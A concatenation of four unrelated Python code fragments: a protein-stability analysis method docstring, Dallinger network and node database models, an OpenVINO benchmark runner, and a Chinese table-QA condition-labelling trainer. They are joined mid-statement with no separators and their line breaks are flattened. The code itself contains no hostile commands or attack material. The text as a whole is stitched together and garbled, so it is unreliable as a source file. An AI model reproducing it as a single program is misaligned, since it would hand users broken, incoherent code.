first_prediction_set_case_details['Data'][UserDataSetExperimentID]['PredictionID'], second_prediction_set_case_details['Data'][UserDataSetExperimentID]['PredictionID'], ) ) return sorted( return_list ) @analysis_api def analyze(self, prediction_set_ids, prediction_set_series_names = {}, prediction_set_descriptions = {}, prediction_set_credits = {}, prediction_set_colors = {}, prediction_set_alphas = {}, use_published_data = False, use_existing_benchmark_data = True, recreate_graphs = False, include_derived_mutations = False, expectn = 50, use_single_reported_value = False, take_lowest = 3, burial_cutoff = 0.25, stability_classication_experimental_cutoff = 1.0, stability_classication_predicted_cutoff = 1.0, output_directory = None, generate_plots = True, report_analysis = True, silent = False, root_directory = None, restrict_to = set(), remove_cases = set(), ): '''Runs the analyses for the specified PredictionSets and cross-analyzes the sets against each other if appropriate. * Analysis setup arguments * prediction_set_ids is a list of PredictionSet IDs. Each PredictionSet will be analyzed separately and appropriate pairs will be cross-analyzed. prediction_set_series_names, prediction_set_descriptions, and prediction_set_credits are mappings from PredictionSet IDs to series names (in plots), descriptions, and credits respectively. These details are stored in PredictionSet so they are optional arguments. If passed, these mappings will override the PredictionSet values in the database which allows the user to customize the analysis reports. Likewise, prediction_set_colors and prediction_set_alphas are mappings to series colors and transparency values for use in the plots. use_published_data. todo: implement later. This should include any published data e.g. the Kellogg et al. data for protein stability. use_existing_benchmark_data and recreate_graphs are data creation arguments i.e. "should we use existing data or create it from scratch?" include_derived_mutations is used to filter out dataset cases with derived mutations. expectn declares how many predictions we expect to see per dataset case. If the actual number is less than expectn then a warning will be included in the analysis. * Dataframe arguments * use_single_reported_value is specific to ddg_monomer. If this is True then the DDG value reported by the application is used and take_lowest is ignored. This is inadvisable - take_lowest = 3 is a better default. take_lowest AKA Top_X. Specifies how many of the best-scoring groups of structures to consider when calculating the predicted DDG value. burial_cutoff defines what should be considered buried (DSSPExposure field). Values around 1.0 are fully exposed, values of 0.0 are fully buried. For technical reasons, the DSSP value can exceed 1.0 but usually not by much. stability_classication_experimental_cutoff AKA x_cutoff. This defines the neutral mutation range for experimental values in kcal/mol i.e. values between -1.0 and 1.0 kcal/mol are considered neutral by default. stability_classication_predicted_cutoff AKA y_cutoff. This defines the neutral mutation range for predicted values in energy units. * Reporting arguments * output_directory : The directory in which to save plots and reports. generate_plots : if plots are not needed, setting this to False can shorten the analysis time. report_analysis : Whether or not to print analysis to stdout. silent = False : Whether or not anything should be printed to stdout (True is useful for webserver interaction). ''' raise Exception('Abstract method. This needs to be overridden by a subclass.') # colors, alpha, and default series name and descriptions are taken from PredictionSet records # The order (if p1 before p2 then p1 will
nullable=False, default=False, index=True) #: The role of the network. By default dallinger initializes all #: networks as either "practice" or "experiment" role = Column(String(26), nullable=False, default="default", index=True) def __repr__(self): """The string representation of a network.""" return ( "<Network-{}-{} with {} nodes, {} vectors, {} infos, " "{} transmissions and {} transformations>" ).format( self.id, self.type, len(self.nodes()), len(self.vectors()), len(self.infos()), len(self.transmissions()), len(self.transformations()), ) def json_data(self): """Return json description of a participant.""" return { "type": self.type, "max_size": self.max_size, "full": self.full, "role": self.role, } """ ################################### Methods that get things about a Network ################################### """ def nodes(self, type=None, failed=False, participant_id=None): """Get nodes in the network. type specifies the type of Node. Failed can be "all", False (default) or True. If a participant_id is passed only nodes with that participant_id will be returned. """ if type is None: type = Node if not issubclass(type, Node): raise TypeError("{} is not a valid node type.".format(type)) if failed not in ["all", False, True]: raise ValueError("{} is not a valid node failed".format(failed)) if participant_id is not None: if failed == "all": return type.query.filter_by( network_id=self.id, participant_id=participant_id ).all() else: return type.query.filter_by( network_id=self.id, participant_id=participant_id, failed=failed ).all() else: if failed == "all": return type.query.filter_by(network_id=self.id).all() else: return type.query.filter_by(failed=failed, network_id=self.id).all() def size(self, type=None, failed=False): """How many nodes in a network. type specifies the class of node, failed can be True/False/all. """ return len(self.nodes(type=type, failed=failed)) def infos(self, type=None, failed=False): """ Get infos in the network. type specifies the type of info (defaults to Info). failed { False, True, "all" } specifies the failed state of the infos. To get infos from a specific node, see the infos() method in class :class:`~dallinger.models.Node`. """ if type is None: type = Info if failed not in ["all", False, True]: raise ValueError("{} is not a valid failed".format(failed)) if failed == "all": return type.query.filter_by(network_id=self.id).all() else: return type.query.filter_by(network_id=self.id, failed=failed).all() def transmissions(self, status="all", failed=False): """Get transmissions in the network. status { "all", "received", "pending" } failed { False, True, "all" } To get transmissions from a specific vector, see the transmissions() method in class Vector. """ if status not in ["all", "pending", "received"]: raise ValueError( "You cannot get transmission of status {}.".format(status) + "Status can only be pending, received or all" ) if failed not in ["all", False, True]: raise ValueError("{} is not a valid failed".format(failed)) if status == "all": if failed == "all": return Transmission.query.filter_by(network_id=self.id).all() else: return Transmission.query.filter_by( network_id=self.id, failed=failed ).all() else: if failed == "all": return Transmission.query.filter_by( network_id=self.id, status=status ).all() else: return Transmission.query.filter_by( network_id=self.id, status=status, failed=failed ).all() def transformations(self, type=None, failed=False): """Get transformations in the network. type specifies the type of transformation (default = Transformation). failed = { False, True, "all" } To get transformations from a specific node, see Node.transformations(). """ if type is None: type = Transformation if failed not in ["all", True, False]: raise ValueError("{} is not a valid failed".format(failed)) if failed == "all": return type.query.filter_by(network_id=self.id).all() else: return type.query.filter_by(network_id=self.id, failed=failed).all() def latest_transmission_recipient(self): """Get the node that most recently received a transmission.""" from operator import attrgetter ts = Transmission.query.filter_by( status="received", network_id=self.id, failed=False ).all() if ts: t = max(ts, key=attrgetter("receive_time")) return t.destination else: return None def vectors(self, failed=False): """ Get vectors in the network. failed = { False, True, "all" } To get the vectors to/from to a specific node, see Node.vectors(). """ if failed not in ["all", False, True]: raise ValueError("{} is not a valid vector failed".format(failed)) if failed == "all": return Vector.query.filter_by(network_id=self.id).all() else: return Vector.query.filter_by(network_id=self.id, failed=failed).all() """ ################################### Methods that make Networks do things ################################### """ def add_node(self, node): """Add the node to the network.""" raise NotImplementedError def fail(self): """Fail an entire network.""" if self.failed is True: raise AttributeError("Cannot fail {} - it has already failed.".format(self)) else: self.failed = True self.time_of_death = timenow() for n in self.nodes(): n.fail() def calculate_full(self): """Set whether the network is full.""" self.full = len(self.nodes()) >= (self.max_size or 0) def print_verbose(self): """Print a verbose representation of a network.""" print("Nodes: ") for a in self.nodes(failed="all"): print(a) print("\nVectors: ") for v in self.vectors(failed="all"): print(v) print("\nInfos: ") for i in self.infos(failed="all"): print(i) print("\nTransmissions: ") for t in self.transmissions(failed="all"): print(t) print("\nTransformations: ") for t in self.transformations(failed="all"): print(t) class Node(Base, SharedMixin): """A point in a network.""" __tablename__ = "node" #: A String giving the name of the class. Defaults to #: ``node``. This allows subclassing. type = Column(String(50)) __mapper_args__ = {"polymorphic_on": type, "polymorphic_identity": "node"} #: the id of the network that this node is a part of network_id = Column(Integer, ForeignKey("network.id"), index=True) #: the network the node is in network = relationship(Network, backref="all_nodes") #: the id of the participant whose node this is participant_id = Column(Integer, ForeignKey("participant.id"), index=True) #: the participant the node is associated with participant = relationship(Participant, backref="all_nodes") def __init__(self, network, participant=None): """Create a node.""" # check the network hasn't failed if network.failed: raise ValueError( "Cannot create node in {} as it has failed".format(network) ) # check the participant hasn't failed if participant is not None and participant.failed: raise ValueError( "{} cannot create a node as it has failed".format(participant) ) # check the participant is working if participant is not None and participant.status != "working": raise ValueError( "{} cannot create a node as they are not working".format(participant) ) self.network = network self.network_id = network.id network.calculate_full() if participant is not None: self.participant = participant self.participant_id = participant.id def __repr__(self): """The string representation of a node.""" return "Node-{}-{}".format(self.id, self.type) def json_data(self): """The json of a node.""" return { "type": self.type, "network_id": self.network_id, "participant_id": self.participant_id, } """ ################################### Methods that get things about a node ################################### """ def vectors(self, direction="all", failed=False): """Get vectors that connect at this node. Direction can be "incoming", "outgoing" or "all" (default). Failed can be True, False or all """ # check direction if direction not in ["all", "incoming", "outgoing"]: raise ValueError( "{} is not a valid vector direction. " "Must be all, incoming or outgoing.".format(direction) ) if failed not in ["all", False, True]: raise ValueError("{} is not a valid vector failed".format(failed)) # get the vectors if failed == "all": if direction == "all": return Vector.query.filter( or_(Vector.destination_id == self.id, Vector.origin_id == self.id) ).all() if direction == "incoming": return Vector.query.filter_by(destination_id=self.id).all() if direction == "outgoing": return Vector.query.filter_by(origin_id=self.id).all() else: if direction == "all": return Vector.query.filter( and_( Vector.failed == failed, or_( Vector.destination_id == self.id, Vector.origin_id == self.id, ), ) ).all() if direction == "incoming": return Vector.query.filter_by( destination_id=self.id, failed=failed ).all() if direction == "outgoing": return Vector.query.filter_by(origin_id=self.id, failed=failed).all() def neighbors(self, type=None, direction="to", failed=None): """Get a node's neighbors - nodes that are directly connected to it. Type specifies the class of neighbour and must be a subclass of Node (default is Node). Connection is the direction of the connections and can be "to" (default), "from", "either", or "both". """ # get type if type is None: type = Node if not issubclass(type, Node): raise ValueError( "{} is not a valid neighbor type," "needs to be a subclass of Node.".format(type) ) # get direction if direction not in ["both", "either", "from", "to"]: raise ValueError( "{} not a valid neighbor connection." "Should be both, either, to or from.".format(direction) ) if failed is not None: raise ValueError( "You should not pass a failed argument to neighbors(). " "Neighbors is " "unusual in that a failed argument cannot be passed. This is " "because there is inherent uncertainty in what it means for a " "neighbor to be failed. The neighbors function will only ever " "return not-failed nodes connected to you via not-failed " "vectors. If you want to do more elaborate queries, for " "example, getting not-failed nodes connected to you via failed" " vectors, you should do so via sql queries." ) neighbors = [] # get the neighbours if direction == "to": outgoing_vectors = ( Vector.query.with_entities(Vector.destination_id) .filter_by(origin_id=self.id, failed=False) .all() ) neighbor_ids = [v.destination_id for v in outgoing_vectors] if neighbor_ids: neighbors = Node.query.filter(Node.id.in_(neighbor_ids)).all() neighbors = [n for n in neighbors if isinstance(n, type)] if direction ==
# Copyright (C) 2018-2022 Intel Corporation # SPDX-License-Identifier: Apache-2.0 import os import sys from datetime import datetime from openvino.runtime import Dimension from openvino.tools.benchmark.benchmark import Benchmark from openvino.tools.benchmark.parameters import parse_args from openvino.tools.benchmark.utils.constants import MULTI_DEVICE_NAME, HETERO_DEVICE_NAME, CPU_DEVICE_NAME, \ GPU_DEVICE_NAME, MYRIAD_DEVICE_NAME, GNA_DEVICE_NAME, BLOB_EXTENSION from openvino.tools.benchmark.utils.inputs_filling import get_input_data from openvino.tools.benchmark.utils.logging import logger from openvino.tools.benchmark.utils.progress_bar import ProgressBar from openvino.tools.benchmark.utils.utils import next_step, get_number_iterations, pre_post_processing, \ process_help_inference_string, print_perf_counters, dump_exec_graph, get_duration_in_milliseconds, \ get_command_line_arguments, parse_nstreams_value_per_device, parse_devices, get_inputs_info, \ print_inputs_and_outputs_info, get_network_batch_size, load_config, dump_config, get_latency_groups, \ check_for_static, can_measure_as_static from openvino.tools.benchmark.utils.statistics_report import StatisticsReport, averageCntReport, detailedCntReport def main(): # ------------------------------ 1. Parsing and validating input arguments ------------------------------------- next_step() run(parse_args()) def run(args): statistics = None try: if args.number_streams is None: logger.warning(" -nstreams default value is determined automatically for a device. " "Although the automatic selection usually provides a reasonable performance, " "but it still may be non-optimal for some cases, for more information look at README. ") command_line_arguments = get_command_line_arguments(sys.argv) if args.report_type: statistics = StatisticsReport(StatisticsReport.Config(args.report_type, args.report_folder)) statistics.add_parameters(StatisticsReport.Category.COMMAND_LINE_PARAMETERS, command_line_arguments) def is_flag_set_in_command_line(flag): return any(x.strip('-') == flag for x, y in command_line_arguments) device_name = args.target_device devices = parse_devices(device_name) device_number_streams = parse_nstreams_value_per_device(devices, args.number_streams) config = {} if args.load_config: load_config(args.load_config, config) is_network_compiled = False _, ext = os.path.splitext(args.path_to_model) if ext == BLOB_EXTENSION: is_network_compiled = True print("Model is compiled") # ------------------------------ 2. Loading OpenVINO --------------------------------------------------- next_step(step_id=2) benchmark = Benchmark(args.target_device, args.number_infer_requests, args.number_iterations, args.time, args.api_type, args.inference_only) ## CPU (OneDNN) extensions if CPU_DEVICE_NAME in device_name and args.path_to_extension: benchmark.add_extension(path_to_extension=args.path_to_extension) ## GPU (clDNN) Extensions if GPU_DEVICE_NAME in device_name and args.path_to_cldnn_config: if GPU_DEVICE_NAME not in config.keys(): config[GPU_DEVICE_NAME] = {} config[GPU_DEVICE_NAME]['CONFIG_FILE'] = args.path_to_cldnn_config if GPU_DEVICE_NAME in config.keys() and 'CONFIG_FILE' in config[GPU_DEVICE_NAME].keys(): cldnn_config = config[GPU_DEVICE_NAME]['CONFIG_FILE'] benchmark.add_extension(path_to_cldnn_config=cldnn_config) for device in devices: supported_properties = benchmark.core.get_property(device, 'SUPPORTED_PROPERTIES') if 'PERFORMANCE_HINT' in supported_properties: if is_flag_set_in_command_line('hint'): if args.perf_hint=='none': logger.warning(f"No device {device} performance hint is set.") args.perf_hint = "" else: args.perf_hint = "THROUGHPUT" if benchmark.api_type == "async" else "LATENCY" logger.warning(f"PerformanceMode was not explicitly specified in command line. " + f"Device {device} performance hint will be set to " + args.perf_hint + ".") else: logger.warning(f"Device {device} does not support performance hint property(-hint).") version = benchmark.get_version_info() logger.info(version) # --------------------- 3. Setting device configuration -------------------------------------------------------- next_step() def get_device_type_from_name(name) : new_name = str(name) new_name = new_name.split(".", 1)[0] new_name = new_name.split("(", 1)[0] return new_name ## Set default values from dumped config default_devices = set() for device in devices: device_type = get_device_type_from_name(device) if device_type in config and device not in config: config[device] = config[device_type].copy() default_devices.add(device_type) for def_device in default_devices: config.pop(def_device) perf_counts = False for device in devices: if device not in config.keys(): config[device] = {} ## Set performance counter if is_flag_set_in_command_line('pc'): ## set to user defined value config[device]['PERF_COUNT'] = 'YES' if args.perf_counts else 'NO' elif 'PERF_COUNT' in config[device].keys() and config[device]['PERF_COUNT'] == 'YES': logger.warning(f"Performance counters for {device} device is turned on. " + "To print results use -pc option.") elif args.report_type in [ averageCntReport, detailedCntReport ]: logger.warning(f"Turn on performance counters for {device} device " + f"since report type is {args.report_type}.") config[device]['PERF_COUNT'] = 'YES' elif args.exec_graph_path is not None: logger.warning(f"Turn on performance counters for {device} device " + "due to execution graph dumping.") config[device]['PERF_COUNT'] = 'YES' else: ## set to default value config[device]['PERF_COUNT'] = 'YES' if args.perf_counts else 'NO' perf_counts = True if config[device]['PERF_COUNT'] == 'YES' else perf_counts ## high-level performance hints if is_flag_set_in_command_line('hint') or args.perf_hint: config[device]['PERFORMANCE_HINT'] = args.perf_hint.upper() if is_flag_set_in_command_line('nireq'): config[device]['PERFORMANCE_HINT_NUM_REQUESTS'] = str(args.number_infer_requests) ## the rest are individual per-device settings (overriding the values the device will deduce from perf hint) def set_throughput_streams(): supported_properties = benchmark.core.get_property(device, 'SUPPORTED_PROPERTIES') key = get_device_type_from_name(device) + "_THROUGHPUT_STREAMS" if device in device_number_streams.keys(): ## set to user defined value if key in supported_properties: config[device][key] = device_number_streams[device] elif "NUM_STREAMS" in supported_properties: key = "NUM_STREAMS" config[device][key] = device_number_streams[device] else: raise Exception(f"Device {device} doesn't support config key '{key}'! " + "Please specify -nstreams for correct devices in format <dev1>:<nstreams1>,<dev2>:<nstreams2>") elif key not in config[device].keys() and args.api_type == "async" and not is_flag_set_in_command_line('hint'): ## set the _AUTO value for the #streams logger.warning(f"-nstreams default value is determined automatically for {device} device. " + "Although the automatic selection usually provides a reasonable performance, " "but it still may be non-optimal for some cases, for more information look at README.") if device != MYRIAD_DEVICE_NAME: ## MYRIAD sets the default number of streams implicitly if key in supported_properties: config[device][key] = get_device_type_from_name(device) + "_THROUGHPUT_AUTO" elif "NUM_STREAMS" in supported_properties: key = "NUM_STREAMS" config[device][key] = "-1" # Set AUTO mode for streams number if key in config[device].keys(): device_number_streams[device] = config[device][key] if CPU_DEVICE_NAME in device: # CPU supports few special performance-oriented keys # limit threading for CPU portion of inference if args.number_threads and is_flag_set_in_command_line("nthreads"): config[device]['CPU_THREADS_NUM'] = str(args.number_threads) if is_flag_set_in_command_line("enforcebf16") or is_flag_set_in_command_line("enforce_bfloat16"): config[device]['ENFORCE_BF16'] = 'YES' if args.enforce_bfloat16 else 'NO' if is_flag_set_in_command_line('pin'): ## set to user defined value config[device]['CPU_BIND_THREAD'] = args.infer_threads_pinning elif 'CPU_BIND_THREAD' not in config[device].keys(): if MULTI_DEVICE_NAME in device_name and GPU_DEVICE_NAME in device_name: logger.warning(f"Turn off threads pinning for {device} " + "device since multi-scenario with GPU device is used.") config[device]['CPU_BIND_THREAD'] = 'NO' ## for CPU execution, more throughput-oriented execution via streams set_throughput_streams() elif GPU_DEVICE_NAME in device: ## for GPU execution, more throughput-oriented execution via streams set_throughput_streams() if MULTI_DEVICE_NAME in device_name and CPU_DEVICE_NAME in device_name: logger.warning("Turn on GPU throttling. Multi-device execution with the CPU + GPU performs best with GPU throttling hint, " + "which releases another CPU thread (that is otherwise used by the GPU driver for active polling)") config[device]['GPU_PLUGIN_THROTTLE'] = '1' elif MYRIAD_DEVICE_NAME in device: set_throughput_streams() config[device]['LOG_LEVEL'] = 'LOG_INFO' elif GNA_DEVICE_NAME in device: if is_flag_set_in_command_line('qb'): if args.qb == 8: config[device]['GNA_PRECISION'] = 'I8' else: config[device]['GNA_PRECISION'] = 'I16' else: supported_config_keys = benchmark.core.get_property(device, 'SUPPORTED_CONFIG_KEYS') if 'CPU_THREADS_NUM' in supported_config_keys and args.number_threads and is_flag_set_in_command_line("nthreads"): config[device]['CPU_THREADS_NUM'] = str(args.number_threads) if 'CPU_THROUGHPUT_STREAMS' in supported_config_keys and args.number_streams and is_flag_set_in_command_line("streams"): config[device]['CPU_THROUGHPUT_STREAMS'] = args.number_streams if 'CPU_BIND_THREAD' in supported_config_keys and args.infer_threads_pinning and is_flag_set_in_command_line("pin"): config[device]['CPU_BIND_THREAD'] = args.infer_threads_pinning perf_counts = perf_counts benchmark.set_config(config) if args.cache_dir: benchmark.set_cache_dir(args.cache_dir) topology_name = "" load_from_file_enabled = is_flag_set_in_command_line('load_from_file') or is_flag_set_in_command_line('lfile') if load_from_file_enabled and not is_network_compiled: next_step() print("Skipping the step for loading model from file") next_step() print("Skipping the step for loading model from file") next_step() print("Skipping the step for loading model from file") # --------------------- 7. Loading the model to the device ------------------------------------------------- next_step() start_time = datetime.utcnow() compiled_model = benchmark.core.compile_model(args.path_to_model, benchmark.device) duration_ms = f"{(datetime.utcnow() - start_time).total_seconds() * 1000:.2f}" logger.info(f"Compile model took {duration_ms} ms") if statistics: statistics.add_parameters(StatisticsReport.Category.EXECUTION_RESULTS, [ ('load network time (ms)', duration_ms) ]) app_inputs_info, _ = get_inputs_info(args.shape, args.data_shape, args.layout, args.batch_size, args.input_scale, args.input_mean, compiled_model.inputs) batch_size = get_network_batch_size(app_inputs_info) elif not is_network_compiled: # --------------------- 4. Read the Intermediate Representation of the network ----------------------------- next_step() start_time = datetime.utcnow() model = benchmark.read_model(args.path_to_model) topology_name = model.get_name() duration_ms = f"{(datetime.utcnow() - start_time).total_seconds() * 1000:.2f}" logger.info(f"Read model took {duration_ms} ms") if statistics: statistics.add_parameters(StatisticsReport.Category.EXECUTION_RESULTS, [ ('read network time (ms)', duration_ms) ]) # --------------------- 5. Resizing network to match image sizes and given batch --------------------------- next_step() app_inputs_info, reshape = get_inputs_info(args.shape, args.data_shape, args.layout, args.batch_size, args.input_scale, args.input_mean, model.inputs) if reshape: start_time = datetime.utcnow() shapes = { info.name : info.partial_shape for info in app_inputs_info } logger.info( 'Reshaping model: {}'.format(', '.join("'{}': {}".format(k, str(v)) for k, v in shapes.items()))) model.reshape(shapes) duration_ms = f"{(datetime.utcnow() - start_time).total_seconds() * 1000:.2f}" logger.info(f"Reshape model took {duration_ms} ms") if statistics: statistics.add_parameters(StatisticsReport.Category.EXECUTION_RESULTS, [ ('reshape network time (ms)', duration_ms) ]) # use batch size according to provided layout and shapes batch_size = get_network_batch_size(app_inputs_info) logger.info(f'Network batch size: {batch_size}') # --------------------- 6. Configuring inputs and outputs of the model -------------------------------------------------- next_step() pre_post_processing(model, app_inputs_info, args.input_precision, args.output_precision, args.input_output_precision) print_inputs_and_outputs_info(model) # --------------------- 7. Loading the model to the device ------------------------------------------------- next_step() start_time = datetime.utcnow() compiled_model = benchmark.core.compile_model(model, benchmark.device) duration_ms = f"{(datetime.utcnow() - start_time).total_seconds() * 1000:.2f}" logger.info(f"Compile model took {duration_ms} ms") if statistics: statistics.add_parameters(StatisticsReport.Category.EXECUTION_RESULTS, [ ('load network time (ms)', duration_ms) ]) else: next_step() print("Skipping the step for compiled network") next_step() print("Skipping the step for compiled network") next_step() print("Skipping the step for compiled network") # --------------------- 7. Loading the model to the device ------------------------------------------------- next_step() start_time = datetime.utcnow() compiled_model = benchmark.core.import_model(args.path_to_model) duration_ms = f"{(datetime.utcnow() - start_time).total_seconds() * 1000:.2f}" logger.info(f"Import model took {duration_ms} ms") if statistics: statistics.add_parameters(StatisticsReport.Category.EXECUTION_RESULTS, [ ('import network time (ms)', duration_ms) ]) app_inputs_info, _ = get_inputs_info(args.shape, args.data_shape, args.layout, args.batch_size, args.input_scale, args.input_mean, compiled_model.inputs) batch_size = get_network_batch_size(app_inputs_info) # --------------------- 8. Querying
<reponame>svjack/tableQA-Chinese<filename>script/condition_trainer.py<gh_stars>1-10 #!/usr/bin/env python # coding: utf-8 import ast import json import math import os import re import shutil import sys from ast import literal_eval from collections import namedtuple from copy import deepcopy from functools import reduce from itertools import combinations, product import matplotlib.pyplot as plt import nltk import numpy as np import pandas as pd import seaborn as sns import torch from icecream import ic from nltk import pos_tag, word_tokenize from pyarrow.filesystem import LocalFileSystem from torch import nn from torch.nn import functional, init from torch.nn.utils import rnn as rnn_utils pd.set_option("display.max_rows", 100) #### used in this condition extract in training. op_sql_dict = {0:">", 1:"<", 2:"==", 3:"!="} #### used by clf for intension inference agg_sql_dict = {0:"", 1:"AVG", 2:"MAX", 3:"MIN", 4:"COUNT", 5:"SUM"} #### final to combine them (one for 0, and multi for 1 2) conn_sql_dict = {0:"", 1:"and", 2:"or"} train_path = "../TableQA/TableQA/train" val_path = "../TableQA/TableQA/val" def data_loader(table_json_path = os.path.join(train_path ,"train.tables.json"), json_path = os.path.join(train_path ,"train.json"), req_table_num = 1): assert os.path.exists(table_json_path) assert os.path.exists(json_path) json_df = pd.read_json(json_path, lines = True) all_tables = pd.read_json(table_json_path, lines = True) if req_table_num is not None: assert type(req_table_num) == type(0) and req_table_num > 0 and req_table_num <= all_tables.shape[0] else: req_table_num = all_tables.shape[0] for i in range(req_table_num): #one_table = all_tables.iloc[i]["table"] #one_table_df = pd.read_sql("select * from `{}`".format(one_table), train_tables_dump_engine) one_table_s = all_tables.iloc[i] one_table_df = pd.DataFrame(one_table_s["rows"], columns = one_table_s["header"]) yield one_table_df, json_df[json_df["table_id"] == one_table_s["id"]] def findMaxSubString(str1, str2): """ """ maxSub = 0 maxSubString = "" str1_len = len(str1) str2_len = len(str2) for i in range(str1_len): str1_pos = i for j in range(str2_len): str2_pos = j str1_pos = i if str1[str1_pos] != str2[str2_pos]: continue else: while (str1_pos < str1_len) and (str2_pos < str2_len): if str1[str1_pos] == str2[str2_pos]: str1_pos = str1_pos + 1 str2_pos = str2_pos + 1 else: break sub_len = str2_pos - j if maxSub < sub_len: maxSub = sub_len maxSubString = str2[j:str2_pos] return maxSubString def sentence_t3_gen(df, q, header_process_func = lambda x: x[:x.find("(")] if "(" in x else (x[:x.find("(")] if "(" in x else x), use_in_filter = False): ##### with some fuzzy string contain. headers = pd.Series(df.columns.tolist()).map(header_process_func).tolist() total_num = 0 invalid_num = 0 for idx, row in q.iterrows(): question = row["question"] values_in_question = re.findall(r"[+-]*\d+\.?\d*", question) sql_obj = row["sql"] assert sum(map(lambda key: key in sql_obj, ['agg', 'cond_conn_op', 'sel', 'conds'])) == 4 conds = sql_obj["conds"] assert type(conds) == type([]) req = [] #### pay more attention to pass for cond_t3 in conds: header_idx, cond_type_int, candidate = cond_t3 assert cond_type_int in op_sql_dict.keys() #req.append((headers[header_idx], cond_type_int, candidate)) #ele = (headers[header_idx], cond_type_int, candidate_2_to_close(candidate, values_in_question)) ele = (headers[header_idx], cond_type_int, candidate) if use_in_filter: if ele[-1] in question and ele[0] in question: req.append(ele) else: ele_max_head = findMaxSubString(deepcopy(question), deepcopy(ele[0])) ele = list(ele) if ele_max_head: ele[0] = ele_max_head ele = tuple(ele) if ele[-1] and ele[0] and question and ele[-1] in question and ele[0] in question: #if ele[-1] in question: req.append(ele) if req: yield (question, req) else: invalid_num += 1 total_num += 1 if total_num == q.shape[0] - 1: #ic("invalid_ratio ", invalid_num, total_num) pass def explode_q_cond(question, req, min_q_len = 6): def string_clean_func(input_): return input_.replace(" ", "").strip() question = string_clean_func(question) req_keys = list(map(lambda x: x[0], req)) if len(req_keys) > len(set(req_keys)): return [(question, req[0])] assert len(req_keys) == len(set(req_keys)) if len(req_keys) == 1: return [(question, req[0])] def split_func(q, token): return q[:q.find(token)].strip(), q[q.find(token):].strip() full_question = question nest_list = [] for idx ,token in enumerate(req_keys[1:]): previous_question ,full_question = split_func(full_question, token) nest_list.append((previous_question, req[idx])) if full_question: nest_list.append((full_question, req[len(req_keys) - 1])) #### filter out some not valid q nest_list = list(filter(lambda x: len(x[0]) >= min_q_len, nest_list)) return nest_list def all_t3_iter(data_loader_ext = data_loader(req_table_num = None), times = 5000): cnt = 0 for idx ,(zh_df, zh_q) in enumerate(data_loader_ext): s_t3_iter = sentence_t3_gen(zh_df, zh_q) for q, req in s_t3_iter: for question, req_ele in explode_q_cond(q, req): yield (question, req_ele) cnt += 1 if cnt >= times: return if idx > 0 and idx % 50 == 0: ic("table gen ", idx, cnt) def q_t3_writer(json_path, q_t3_iter): if os.path.exists(json_path): os.remove(json_path) with open(json_path, "w", encoding = "utf-8") as f: for question, cond_t3 in q_t3_iter: f.write(json.dumps({ "question": question, "cond_t3": list(cond_t3) }) + "\n") def labeling(question, req_ele, sep_sig = "*", left_slot_flag = None, right_slot_flog = None): assert type(question) == type("") and type(req_ele) == type([1,]) and len(req_ele) == 3 assert type(left_slot_flag) == type("") and type(right_slot_flog) == type("") #### replace this for split question = question.replace(sep_sig, "") question_sep_cat = sep_sig.join(list(question)) def produce_BI_replacement(cond_str, slot_flag): cond_str_sep_cat = sep_sig.join(list(cond_str)) cond_str_sep_cat_replacement = sep_sig.join(map(lambda idx: "B-{}".format(slot_flag) if idx == 0 else "I-{}".format(slot_flag), range(len(cond_str)))) return (cond_str_sep_cat, cond_str_sep_cat_replacement) left_cond = req_ele[0] left_cond_str_sep_cat, left_cond_str_sep_cat_replacement = produce_BI_replacement(left_cond, left_slot_flag) right_cond = req_ele[-1] right_cond_str_sep_cat, right_cond_str_sep_cat_replacement = produce_BI_replacement(right_cond, right_slot_flog) question_sep_cat_trans = question_sep_cat.replace(left_cond_str_sep_cat, left_cond_str_sep_cat_replacement).replace(right_cond_str_sep_cat, right_cond_str_sep_cat_replacement) tag_list = list(map(lambda tag: tag if tag.startswith("B-") or tag.startswith("I-") else "O",question_sep_cat_trans.split(sep_sig))) token_list = question_sep_cat.split(sep_sig) assert len(token_list) == len(tag_list) return (token_list, tag_list, req_ele[1]) q_t3_writer("q_t3_train_2.json", all_t3_iter(times = int(1e10))) q_t3_writer("q_t3_val.json", all_t3_iter(data_loader_ext = data_loader( os.path.join(val_path ,"val.tables.json"), os.path.join(val_path ,"val.json") ,req_table_num = None), times = int(1e10))) conds_path = "conds" def release_dir(dir_path): if os.path.exists(dir_path): shutil.rmtree(dir_path) os.mkdir(dir_path) def df_split(input_df, train_ratio = 0.9): req = input_df.sample(frac = 1.0) train_num = int(req.shape[0] * train_ratio) train_df = req.iloc[:train_num] others = req.iloc[train_num:].copy() dev_num = int(others.shape[0] / 2) dev_df = others.iloc[:dev_num] test_df = others.iloc[dev_num:] return (train_df, dev_df, test_df) def dump_dfs_to_dir(input_df, conds_path): release_dir(conds_path) assert os.path.exists(conds_path) intent_label = ["UNK"] + input_df["label"].unique().tolist() assert "O" in reduce(lambda a, b: a + b ,input_df["out"].tolist()) slot_label = ["PAD", "UNK", "O"] + sorted(set(reduce(lambda a, b: a + b ,input_df["out"].tolist())).difference(set(["O"]))) in_out_train_path = os.path.join(conds_path, "train") in_out_dev_path = os.path.join(conds_path, "dev") in_out_test_path = os.path.join(conds_path, "test") release_dir(in_out_train_path) release_dir(in_out_dev_path) release_dir(in_out_test_path) def write_df_to_path(write_df, path): with open(os.path.join(path, "seq.in"), "w") as f: f.write("\n".join(write_df["in"].map(lambda x: " ".join(filter(lambda yy: yy ,map(lambda y: y.strip() ,x)))).tolist())) with open(os.path.join(path, "seq.out"), "w") as f: f.write("\n".join(write_df["out"].map(lambda x: " ".join(filter(lambda yy: yy ,map(lambda y: y.strip() ,x)))).tolist())) with open(os.path.join(path, "label"), "w") as f: f.write("\n".join(write_df["label"].map(lambda x: x.strip()).tolist())) train_df, dev_df, test_df = df_split(input_df) write_df_to_path(train_df, in_out_train_path) write_df_to_path(dev_df, in_out_dev_path) write_df_to_path(test_df, in_out_test_path) with open(os.path.join(conds_path, "intent_label.txt"), "w") as f: f.write("\n".join(intent_label)) with open(os.path.join(conds_path, "slot_label.txt"), "w") as f: f.write("\n".join(slot_label)) q_t3_train_df = pd.read_json("q_t3_train_2.json", lines = True) q_t3_train_df["labeling"] = q_t3_train_df.apply(lambda s: labeling(s["question"], s["cond_t3"], left_slot_flag = "HEADER", right_slot_flog = "VALUE"), axis = 1) q_t3_train_df["in"] = q_t3_train_df["labeling"].map(lambda x: x[0]) q_t3_train_df["out"] = q_t3_train_df["labeling"].map(lambda x: x[1]) q_t3_train_df["label"] = q_t3_train_df["labeling"].map(lambda x: op_sql_dict[x[2]]) q_t3_train_df_filtered = q_t3_train_df[q_t3_train_df["out"].map(lambda x: sum(map(lambda t: t in ['B-HEADER', 'I-HEADER', 'B-VALUE', 